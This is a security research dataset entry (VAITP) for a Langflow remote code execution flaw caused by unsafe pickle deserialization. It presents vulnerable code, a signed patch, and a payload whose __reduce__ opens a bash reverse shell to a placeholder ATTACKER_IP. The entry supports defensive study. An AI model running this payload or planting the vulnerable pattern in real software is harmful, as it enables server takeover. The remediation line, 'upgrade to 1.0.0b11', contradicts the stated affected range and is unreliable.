VAITP Dataset

← Back to the dataset

CVE-2026-8476

Langflow RCE from unsafe pickle deserialization of cached objects.

  • CVSS 9.9
  • CWE-502
  • Input Validation and Sanitization
  • Remote

IBM Langflow OSS 1.0.0 through 1.10.0 contain a critical remote code execution vulnerability in the disk-based caching mechanism. The AsyncDiskCache class uses Python's unsafe pickle.loads() function to deserialize cached objects from disk without validation, integrity verification, or authentication, enabling arbitrary code execution when malicious pickle payloads are processed. Attackers who can influence cached data through file system access, malicious workflow inputs, custom components, or API manipulation can achieve complete system compromise with the privileges of the Langflow server process.

CVSS base score
9.9
Published
2026-07-17
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
IBM Langflow
Fixed by upgrading
Yes

Solution

Upgrade to Langflow version 1.0.0b11 or later.

Vulnerable code sample

import pickle
import os
import hashlib
import aiofiles
from typing import Any, Optional

class AsyncDiskCache:
    def __init__(self, cache_dir: str = "/tmp/langflow_cache"):
        self.cache_dir = cache_dir
        os.makedirs(self.cache_dir, exist_ok=True)

    def _get_path(self, key: str) -> str:
        """Generate a file path for a given key."""
        hashed_key = hashlib.sha256(key.encode('utf-8')).hexdigest()
        return os.path.join(self.cache_dir, f"{hashed_key}.pkl")

    async def get(self, key: str) -> Optional[Any]:
        """
        Retrieves and deserializes an object from the cache.
        This is the vulnerable method.
        """
        filepath = self._get_path(key)
        if not os.path.exists(filepath):
            return None
        try:
            async with aiofiles.open(filepath, 'rb') as f:
                data = await f.read()
            # Unsafe deserialization using pickle.loads()
            return pickle.loads(data)
        except Exception:
            # Handle cases like file corruption or deserialization errors
            return None

    async def set(self, key: str, value: Any) -> None:
        """Serializes and saves an object to the cache."""
        filepath = self._get_path(key)
        serialized_value = pickle.dumps(value)
        async with aiofiles.open(filepath, 'wb') as f:
            await f.write(serialized_value)

Patched code sample

import pickle
import hmac
import hashlib
import aiofiles
import aiofiles.os
from pathlib import Path

# In a real application, this key must be securely generated and managed,
# for example, by loading it from a secure vault or environment variable.
SECRET_KEY = b'replace-with-a-securely-generated-and-managed-secret-key'

class AsyncDiskCache:
    def __init__(self, cache_dir: str):
        self.cache_dir = Path(cache_dir)
        self.cache_dir.mkdir(parents=True, exist_ok=True)
        self.secret_key = SECRET_KEY
        self.signature_length = hashlib.sha256().digest_size

    def _get_path(self, key: str) -> Path:
        hashed_key = hashlib.sha256(key.encode()).hexdigest()
        return self.cache_dir / f"{hashed_key}.cache"

    async def set(self, key: str, value: object):
        """Serializes, signs, and writes data to the cache."""
        path = self._get_path(key)
        pickled_data = pickle.dumps(value)
        
        signature = hmac.new(
            self.secret_key, pickled_data, hashlib.sha256
        ).digest()

        async with aiofiles.open(path, "wb") as f:
            await f.write(signature + pickled_data)

    async def get(self, key: str) -> object | None:
        """
        Reads, verifies the signature, and deserializes a cached object.
        This fixed method prevents loading tampered/malicious data.
        """
        path = self._get_path(key)
        if not await aiofiles.os.path.exists(path):
            return None

        async with aiofiles.open(path, "rb") as f:
            payload = await f.read()

        if len(payload) < self.signature_length:
            return None 

        expected_signature = payload[:self.signature_length]
        pickled_data = payload[self.signature_length:]

        actual_signature = hmac.new(
            self.secret_key, pickled_data, hashlib.sha256
        ).digest()

        if not hmac.compare_digest(expected_signature, actual_signature):
            # Signature mismatch indicates data tampering. Do not deserialize.
            return None

        # Only deserialize if the integrity check passes.
        return pickle.loads(pickled_data)

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"')
        return (os.system, (cmd,))

payload = pickle.dumps(RCE())

Cite this entry

@misc{vaitp:cve20268476,
  title        = {{Langflow RCE from unsafe pickle deserialization of cached objects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-8476},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-8476/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::